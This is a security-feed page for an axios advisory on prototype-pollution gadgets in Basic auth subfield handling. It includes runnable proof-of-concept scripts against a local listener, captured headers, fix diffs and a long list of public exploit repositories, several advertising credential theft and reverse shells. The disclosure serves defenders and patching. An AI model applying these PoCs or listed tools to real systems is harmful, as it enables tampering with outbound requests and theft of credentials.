Feed/GHSA-xj6q-8x83-jv6g
GHSA-xj6q-8x83-jv6gMEDIUMCVSS 0.0

Axios: Prototype pollution auth subfields can inject Basic auth

Published Jul 20, 2026·Updated Jul 20, 2026

NVD Description

## Summary Axios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header. This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`. ## Impact An attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object. The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures. This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield. ## Affected Functionality Affected functionality: - Node HTTP adapter Basic auth handling in `lib/adapters/http.js`. - Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`. - Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties. Unaffected or not accepted as core impact: - Requests with no own `auth` object after `mergeConfig()`. - Requests with own `auth.username` and `auth.password` values. - Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening. - Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary. ## Technical Details `mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`. In `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own('auth')`, but then reads subfields directly: ```js const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ``` If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain. The same pattern exists in `lib/helpers/resolveConfig.js`: ```js if (auth) { headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ); } ``` The fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere. ## Proof of Concept of Attack Safe local PoC against published `axios@1.16.1`: ```js const http = require('node:http'); const axios = require('axios'); Object.prototype.username = 'victim-user'; Object.prototype.password = 'victim-password-leaked'; const server = http.createServer((req, res) => { console.log({ url: req.url, authorization: req.headers.authorization || null }); res.end('{}'); server.close(() => { delete Object.prototype.username; delete Object.prototype.password; }); }); server.listen(0, '127.0.0.1', async () => { await axios.get(`http://127.0.0.1:${server.address().port}/api`, { auth: {} }); }); ``` Expected output: ```json { "url": "/api", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ``` The base64 value decodes to `victim-user:victim-password-leaked`. ## Workarounds Avoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values. Applications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`. Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields. <details> <summary>Original Report</summary> ### Summary After [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in [PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`. When a polluted host process makes an axios call with the common "optional override" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic <base64>` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains). Reproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24) as well as the released `v1.16.1`. ### Details **Three still-unguarded read sites** on `main` HEAD: **(1) `lib/adapters/http.js` lines 737–740** (Node http adapter): ```js const configAuth = own('auth'); // ← top-level guard OK if (configAuth) { const username = configAuth.username || ''; // ← reads .username on the inherited chain const password = configAuth.password || ''; // ← reads .password on the inherited chain auth = username + ':' + password; } ``` `own('auth')` correctly applies `hasOwnProp` to the top-level `auth` key. But once `configAuth` is the empty object the caller passed (`auth: {}`), `configAuth.username` walks the prototype chain and picks up `Object.prototype.username`. Contrast with the proxy-auth path that PR #10833 fixed (lines 322–324): ```js const authUsername = authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined; const authPassword = authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined; ``` This is the exact pattern needed at lines 739–740 too. **(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver): ```js const auth = own('auth'); // ← top-level guard OK ... btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) // ^ .username and .password read directly on `auth`, no hasOwnProp guard ``` Same shape — top-level guarded, sub-fields walk prototype. **(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer): ```js newConfig.url = buildURL( buildFullPath(baseURL, url, allowAbsoluteUrls), config.params, // ← direct read, not through own() config.paramsSerializer // ← direct read, not through own() ); ``` This third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover. ### PoC This PoC contains zero direct `Object.prototype.x = y` writes. The pollution flows entirely from attacker-shaped JSON through a real deep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads, still walks `constructor.prototype`). A hand-rolled deep merge — the canonical insecure backend pattern — exhibits the same pollution via `__proto__` and is more common in real codebases than any named utility. ```js #!/usr/bin/env node 'use strict'; const http = require('node:http'); const axios = require('axios'); const defaultsDeep = require('defaults-deep'); // Defensive: scrub any prior pollution const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer']; function scrub() { for (const k of PROTO_KEYS) { try { delete Object.prototype[k]; } catch (_) {} } } scrub(); // 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST const attackerBody = JSON.parse(`{ "constructor": { "prototype": { "username": "victim-user", "password": "victim-password-leaked", "params": {"leak": "ATTACKER_QUERY_TOKEN"} } } }`); // 2) Realistic application pattern: merge user options into defaults const appDefaults = { timeout: 5000 }; defaultsDeep(appDefaults, attackerBody); // After this line: // Object.prototype.username === "victim-user" // Object.prototype.password === "victim-password-leaked" // Object.prototype.params === { leak: "ATTACKER_QUERY_TOKEN" } // 3) Capture outbound request on a local listener const server = http.createServer((req, res) => { console.log('=== captured outbound request ==='); console.log(JSON.stringify({ method: req.method, url: req.url, authorization: req.headers.authorization || null, }, null, 2)); res.end('{}'); server.close(); scrub(); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; // 4) Realistic application wrapper: optional per-call overrides. // `auth: opts.auth || {}` is the common pattern — empty own object, // but inherited values walk the prototype chain. function makeRequest(targetUrl, opts = {}) { return axios.get(targetUrl, { timeout: 5000, auth: opts.auth || {}, params: opts.params || {}, }); } makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => { console.error('axios error:', e.message); scrub(); process.exit(1); }); }); ``` Reproduction: ```bash mkdir /tmp/axios-poc && cd /tmp/axios-poc npm init -y npm install axios@1.16.1 defaults-deep@0.2.4 node /path/to/poc.cjs ``` Captured output (verified against released `1.16.1` AND against `main` at `34723be`, 2026-05-24): ```json { "method": "GET", "url": "/api/widget?leak=ATTACKER_QUERY_TOKEN", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ``` `dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to `victim-user:victim-password-leaked`. The querystring carries `?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel in real chains (CSRF token, session cookie via `req.headers`, etc.). ### Impact - **Credential exfiltration** via Basic auth header on the outbound request. If the request URL is attacker-influenced too (common in webhook/oauth-callback patterns), the credentials flow directly to the attacker. If not, they flow to the legitimate destination but expose victim credentials in any logs / proxies along the path. - **Outbound request-shape control** via inherited `params` / `paramsSerializer`. With `paramsSerializer` polluted to an attacker function, axios will execute that function with each `params` invocation — same-process code execution from a pollution primitive. - **Amplifier framing** is still correct. The application-side precondition is "deep-merges attacker JSON into a config object without `__proto__`/`constructor` filtering, then uses the empty- fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`." Both halves are very common in real codebases (we tested `defaults-deep`, hand-rolled merges, and several lodash-family utilities; many still pollute). - **CWE-1321** (Improperly Controlled Modification of Object Prototype Attributes — amplifier sink). ### Proposed fix Two-line change in `http.js`, matching the proxy-auth pattern PR #10833 already established: ```diff --- a/lib/adapters/http.js +++ b/lib/adapters/http.js @@ -737,8 +737,10 @@ const configAuth = own('auth'); if (configAuth) { - const username = configAuth.username || ''; - const password = configAuth.password || ''; + const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : ''; + const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : ''; auth = username + ':' + password; } ``` Same pattern in `resolveConfig.js`: ```diff --- a/lib/helpers/resolveConfig.js +++ b/lib/helpers/resolveConfig.js @@ -64,7 +64,11 @@ // HTTP basic authentication if (auth) { + const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : ''; + const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : ''; headers.set( 'Authorization', 'Basic ' + - btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) + btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : '')) ); } ``` The **`params` / `paramsSerializer`** half is already handled by open PR #10922's `own('params')` / `own('paramsSerializer')` change — that PR should be rebased / merged. ### Relationship to recent prototype-pollution work Same vulnerability class as the existing public hardening, just at sub-field granularity: - [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.** - [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.** - [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.** - [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.** - [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.** - [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.** This report adds: regular-request `auth.username` / `auth.password` sub-field reads in both the http adapter (lines 737–740) and resolveConfig.js (line 68). ### Reporter notes - Reported as part of a small peer-review bundle of runtime security findings. The bundle's public tracking entry (without the working exploit chain) is at [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md). - I'm happy to submit the patch as a PR if that helps. Or, if you'd prefer to fold this into open PR #10922 (whose author is actively responding to comments), please let me know and I'll coordinate. - Threat model honesty: this is **amplifier framing** — exploitation requires a separate prototype-pollution primitive elsewhere in the host process. That's how the existing GHSA-q8qp-cvcw-x6jj and PR #10833 were framed too, so the precedent for "in-scope as a hardening fix" is established. </details>

Affected Packages (1)

axiosNPM
From 1.15.2
Fixed in 1.18.0

Public Exploits & PoCs100 found

PoC: CVE-2026-38192

pluck-CMS-4.7.20-code-injection-vulnerability

2

PoC: cve-2024-55591-poc

Educational implementation in Go for CVE-2024-55591 (Fortinet FortiOS Authentication Bypass). Designed for security research, vulnerability assessment, and understanding WebSocket-based auth bypass mechanisms.

1

PoC: cve-2026-82329-jfrog-artifactory

CVE-2026-82329 JFrog Artifactory unauthenticated auth-bypass: reproducible Docker lab + URL-parameter validator PoC + patch-diff analysis

1

PoC: CVE-2026-82592

D-Link DIR-825M formDiskFormat stack overflow + command injection RCE PoC (CVE-2026-82592); for authorized security testing

1

PoC: My-Exploits

Metasploit modules, Python PoCs and throwaway Docker labs for four platform CVEs: Keycloak (CVE-2026-18963), Apache NiFi (CVE-2026-39816), HashiCorp Vault (CVE-2026-5006), HashiCorp Nomad (CVE-2026-7474).

1

PoC: CVE-2025-66478-PoC-Reverse-Shell

CVE-2025-66478 PoC

1

PoC: cve-writeups-and-pocs

CVE-2026-80724 PoC + full write-up — Linux kernel ptp/vmclock read-only mapping becomes writable (VM_MAYWRITE). Discovered, reported & fixed by Abdifatah Suruur (suruurism)

1

PoC: CVE-2026-79483-FastGPT-NoSQL-Injection

FastGPT Community Edition NoSQL Injection PoC (CVE-2026-79483)

1

PoC: givewp-cve-2026-82222-rce-lab

Authorized Docker lab and clean PoC for validating CVE-2026-82222 RCE in GiveWP 4.16.5.1 and the 4.16.7.2 fix.

1

PoC: CVE-2026-19745

Learn how I found my first two CVEs by pure accident.

1

PoC: cve-2026-23989-opencloud-lab

Reproduction lab (A/B Docker) for CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-link scope-validation bypass in Reva

1

PoC: CVE-2026-21962-Blog

CVE-2026-21962 Açığı için blog sayfası oluşturdum.

1

PoC: PoC-and-yara-rules-of-CVE-2025-59528-Flowise-has-Remote-Code-Execution-vulnerability

poc and yara rules

1

PoC: root-s24-e1s

Galaxy S24 SM-S921B S921BXXSDCZB2 RAM-only KernelSU Next (CVE-2026-43499) + Root S24 app

PoC: CVE-2024-49138-SOC-Investigation

SOC investigation of CVE-2024-49138 exploitation involving brute-force activity, PowerShell execution, malicious payload analysis, privilege escalation, and incident response.

PoC: gha-lab-ee08e207a8

Authorized security-research lab reproducing CVE-2024-4253 (GHSA-r897-wrpm-h4vw): workflow_run command injection in gradio-app/gradio's test-functional.yml

PoC: CVE-2026-24061-Telnetd

CVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass

PoC: Fortigate-SSL-VPN-Exploit-Kit

The FortiGate SSL-VPN pot of gold. CVE-2024-21762 and CVE-2023-27997. 79 working exploit clients. 53 hardware SKUs. 55 FortiOS builds.

PoC: CVE-2026-33017

CVE-2025-62593 — Ray Unauthenticated RCE Exploit is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine.

PoC: CVE-2026-13753-poc

Poc of CVE-2026-13753

PoC: CVE-2026-82221

PoC for Unauthenticated Reflected Cross-Site Scripting (XSS) in RegistrationMagic WordPress Plugin

PoC: ActiveMQ-CVE-2023-46604

Exploit POC for Apache ActiveMQ CVE-2023-46604

PoC: gha-lab-0ba60e6456

Authorized security-research lab reproducing CVE-2024-39700 / GHSA-45gq-v5wm-82wg (JupyterLab extension-template update-integration-tests pwn request)

PoC: CVE-2026-36130

CVE-2026-36130

PoC: CVE-2026-31321

CVE-2026-31321

PoC: postgresql-cve-2026-14662

PostgreSQL の全文検索(tsvector/tsquery)に見つかった範囲外書き込み脆弱性 CVE-2026-14662 を、修正前(18.4)と修正後(18.6)を Docker で並べて動かして検証した記録と発表資料

PoC: CVE-2026-27472-and-CVE-2026-27474

PoC for CVE-2026-27472 and CVE-2026-27474

PoC: CVE-2026-27475

PoC for CVE-2026-27475

PoC: CVE-2026-18963

Unauthenticated account takeover via reset-credentials flow bypass

PoC: CVE-2026-0768

CVE-2026-0768 - Draft or TODO

PoC: CVE-2026-82329

CVE-2026-82329 - Draft or TODO

PoC: tomcat-line-check

CVE-2026-24880: does Apache's upgrade advice actually apply to your Tomcat? Detects the fix by class presence, not version comparison. Covers 7.0/8.0/8.5/9.0/10.0/10.1/11.0 lines.

PoC: log4j2-vuln-lab

CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证

PoC: CVE-2021-3493-Exploit

It's a CVE-2021-3493 Exploit written in C

PoC: gha-lab-8e9316151c

Controlled security-research lab reproducing CVE-2024-1540 (GitHub Actions command injection in gradio-app/gradio deploy+test-visual.yml) — flattened snapshot of gradio-app/gradio @ f35f615e33a5dd90bfeb106b6f5dca689849fcef

PoC: gha-lab-6255f5fc33

Security-research lab reproducing CVE-2023-6572 (GHSA-gqvf-3hgp-5hxv): command injection in gradio-app/gradio's workflow_run handling of generate-changeset.yml

PoC: nextcloud-cve-2023-49792-research

A project analysis of CVE-2023-49792, inspired by a HackerOne report I have recently come across.

PoC: CVE-2026-30252

The ZenShare Suite application is vulnerable by a Reflected Cross-Site Scripting (XSS) vulnerability, affecting web application login and recovery password functionalities.

PoC: CVE-2026-30251

A reflected cross-site scripting (XSS) vulnerability in the login_newpwd.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted URL injected into the codice_azienda parameter.

PoC: gha-lab-fb32aba4a3

Authorized lab reproduction of CVE-2023-26493 (GHSL-2023-027): command injection via github.head_ref in cocos-engine's <Web> Interface check pull_request_target workflow

PoC: CVE-2018-14667_Lab_POC

Demonstration of the expression language (EL) injection vulnerability CVE-2018-14667 using the photoalbum lab under Jboss application server

PoC: weakrng-sweep

Weak-RNG stream-sweep research (CVE-2026-71851 class): PRNG schemes x seeds -> BIP39 -> victim set membership

PoC: cve-2022-29117-assessment

CVE-2022-29117 (.NET Cookie-Handling DoS) Assessment, Understanding & Questions Framework

PoC: POC-CVE-2026-0073

Security research PoC for CVE-2026-0073: ADB authentication bypass verification

PoC: gha-lab-232af4821f

Security-research lab reproducing CVE-2021-4281 (GHSA-3796-3f93-cfvx): shell command injection via PR head-branch name in .github/workflows/combine-prs.yml (snapshot of BraveUX/for-the-badge @ 409c1fda). Do not use; authorized reproduction only.

PoC: CVE-2026-82222

GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE

PoC: CVE-2026-76569

Reflected XSS via search GET Parameter in Phoca Download

PoC: activemq-cve-lab

ActiveMQ CVE-2015-5254 模拟靶场 - 用于 CVE 测试评测和 SCA 扫描演示

PoC: ghostlock-x200-app

vivo X200 设备端一键 root App(Shizuku 授权 shell 域执行,CVE-2026-43499)

PoC: gha-lab-b9842b12c0

Authorized security-research lab reproducing CVE-2021-21423 (GHSA-gg2g-m5wc-vccq): projen rebuild-bot pwn request via issue_comment

PoC: gha-lab-e4a85583c3

Security-research lab reproducing CVE-2020-36762 (GHSA-h9gr-83jq-f3xc): bash command injection via github.event.comment.body in the comment workflow of ONSdigital/ras-collection-instrument

PoC: Root-My-Galaxy

KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499

PoC: CVE-2026-78905-Facebook-Account-Takeover

Social Media Infrastructure Vulnerability Research. CVE-2026-78905: OAuth token reuse and session hijacking in Facebook's Graph API.

PoC: CVE-2026-78904-Digital-Dinar-Drain

CBDC Infrastructure Vulnerability Research. CVE-2026-78904: Infinite mint and redemption bypass in central bank digital currency APIs.

PoC: CVE-2026-78903-SWIFT-Kick-to-the-Creds

Offensive Research & Exploit Development. Vulnerability research, PoC development, and offensive tooling for financial infrastructure.

PoC: CVE-2026-60004-Gitea-RCE-PoC

🫖 Direct single-target Gitea CVE-2026-60004 RCE validation PoC

PoC: CVE-2026-60004-Gitea-Validator

🫖 Contract-correlated discovery and authorized validation tool for Gitea CVE-2026-60004

PoC: cve-2026-67363-67364

Balboa form Command Injection POC

PoC: Simulation-d-attaque-BlueBorne-sur-v-hicule-connect-

Simulation complète d'une attaque Bluetooth (CVE-2017-1000251) sur un véhicule autonome via CARLA Simulator ; exploitation de la vulnérabilité BlueBorne pour accéder au bus CAN et déclencher un freinage brutal, en environnement isolé (Kali Linux VM / VMware / Python).

PoC: CVE-2026-76581-Detector

Safe passive detector for identifying WPMU DEV Dashboard versions affected by CVE-2026-76581.

PoC: htb-machine-ringdown

Detailed design & exploitation writeup for Ringdown—an original Debian/Asterisk vulnerable machine featuring CVE-2024-42365 (AMI), PJSIP pre-hash cracking, and Fail2ban POSIX ACL privilege escalation.

PoC: gha-lab-83342297e0

Authorized security-research lab reproducing CVE-2024-41127 (GHSA-wcjf-5464-4wq9): poisoned pipeline execution via artifact-controlled code injection in ci-failure-comment.yml. Snapshot of monkeytypegame/monkeytype @ deeea0f.

PoC: WP2Shell-Scanner

Read-only CLI to check whether a WordPress site is exposed to WP2Shell (CVE-2026-63030 / CVE-2026-60137)

PoC: phpBB-CVE-2026-48611

Automated PoC for CVE-2026-48611 — phpBB OAuth login_link authentication bypass

PoC: Project-CVE-2026-45833

CVE-2026-45833 ChromaDB

PoC: CitrixBleedCVE-2026-8452-2025-5777

CitrixBleed Exploit Tool - CVE-2025-5777 & CVE-2026-8452. Unauthenticated remote memory read from Citrix NetScaler ADC & Gateway. Steal admin session tokens, extract nsroot hashes, dump secrets, and bypass MFA. Python 3 exploit with full memory parsing.

PoC: CVE-2026-76581

CVE-2026-76581

PoC: drupalgeddon2-cve-lab

Drupalgeddon2 CVE-2018-7600 vulnerable Drupal 7 lab

PoC: shellshock-cve-lab

Shellshock CVE-2014-6271 vulnerable CGI lab

PoC: log4shell-cve-lab

Log4Shell CVE-2021-44228 vulnerable lab

PoC: CVE-2026-18741

PoC CVE-2026-18741

PoC: CVE-2026-12513

CVE-2026-12513 Vulnerability Advisory & PoC — Discovered by Huynh Kien Minh (MinhHK).

PoC: ghostlock-oppo-watch3pro

CVE-2026-43499 on OPPO Watch 3 Pro

PoC: cve-2026-82222-poc

Public PoC for CVE-2026-82222

PoC: zk-xml-probe

Static XML fixtures for authorized bug bounty testing of XML parser behaviour (CVE-2026-45071).

PoC: SOC335-CVE-2024-49138-Investigation

SOC investigation of a CVE-2024-49138 exploitation alert using log analysis, threat intelligence, and endpoint containment.

PoC: papercut-toolkit

#PaperCut CVE-2026-81578 + CVE-2026-82078 Defense Toolkit 2 3 A **defensive** toolkit to check and understand exposure to the chained

PoC: PaperCut-CVE-2026-81578-82078

Security research tool for PaperCut CVE-2026-81578 & CVE-2026-82078

PoC: vankyo-s30-bootloader-unlock

Vankyo MatrixPad S30 (Unisoc SC9863A) — Bootloader unlock via CVE-2022-38694 FDL1 method

PoC: CVE-2026-21962-Blog

CVE-2026-21962 Açığı için blog sayfası oluşturdum.

PoC: hdwebmobile-formula-pricing

WooCommerce plugin: safe formula-based product pricing, closing CVE-2026-4001's eval()-based RCE

PoC: CVE-2026-82286-gpt-crawler-Arbitrary-File-Write

CVE-2026-82286 — gpt-crawler <=1.5.1 unauthenticated arbitrary file write via outputFileName (POST /crawl). PoC + self-contained Docker lab. CVSS 8.6, CWE-22.

PoC: CVE-2026-24061-payload

A PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass

PoC: rmgp-complete-handoff

Complete RMGP (CVE-2026-43499) workspace + experiment-state handoff for SM-A376B/A376BXXU1AZB7

PoC: CVE-2026-66384

CVE-2026-66384 - Draft or TODO

PoC: CVE-2026-33017-PoC-Reverse-Shell

CVE-2026-33017 PoC Reverse Shell

PoC: CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules

CVE-2026-33057 - Mesop Unauthenticated RCE PoC and yara rules

PoC: CVE-2026-10036-speechbrain-rce

SpeechBrain < 1.1.1 checkpoint metadata RCE via unsafe PyYAML parsing of CKPT.yaml.

PoC: CVE-2025-55182-poc

I know you are probably here from Hack the Box, if so, yes this one actually works.

PoC: Project-CVE-2026-50751

IKEv1 VPN scanners, attempts a Check Point authentication-bypass exploit, and includes internal network scanning and reverse-shell features.

PoC: CTT-Enhanced-CVE-2026-46339-Exploit-Engine

A specialized Python framework that executes unauthenticated remote code execution via the 9Router Model Context Protocol (MCP) bridge by deploying a 33-layer temporal phase cascade, Riemann-Hadamard dispersion, and an 11 ns wedge filter to bypass traditional proxy and process-monitoring defenses.

PoC: Zimbra-CVE-2026-73570-Rules

Wazuh Rules for Detection Zimbra (CVE-2026-73570).

PoC: CVE-2022-46169

Cacti 1.2.22 unauthenticated command injection

PoC: CVE-2024-23897

Jenkins CVE-2024-23897 — CSRF-crumb aware PoC

PoC: CVE-2025-10952-ml-logger-AFR

PoC for CVE-2025-10952 — ml-logger unauthenticated arbitrary file read. CVSS 5.3

PoC: CVE-2026-65643

CVE-2026-65643 - Draft or TODO

PoC: cve-2023-23397-detection-lab

Detection and mitigation research lab for CVE-2023-23397 using network and endpoint security telemetry.

PoC: fastjson-cve

fastjson-cve-2026-16723

PoC: CVE-2026-23751-poc

Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting)

PoC: CVE-2023-27350-CVE-2023-27351

CVE-2023-27350, CVE-2023-27351 - PaperCut - Draft or TODO

References

View on NVD Search GitHub Search Google

Get alerted for CVEs like this

Register your stack and get notified within minutes when a matching CVE drops.

Start monitoring free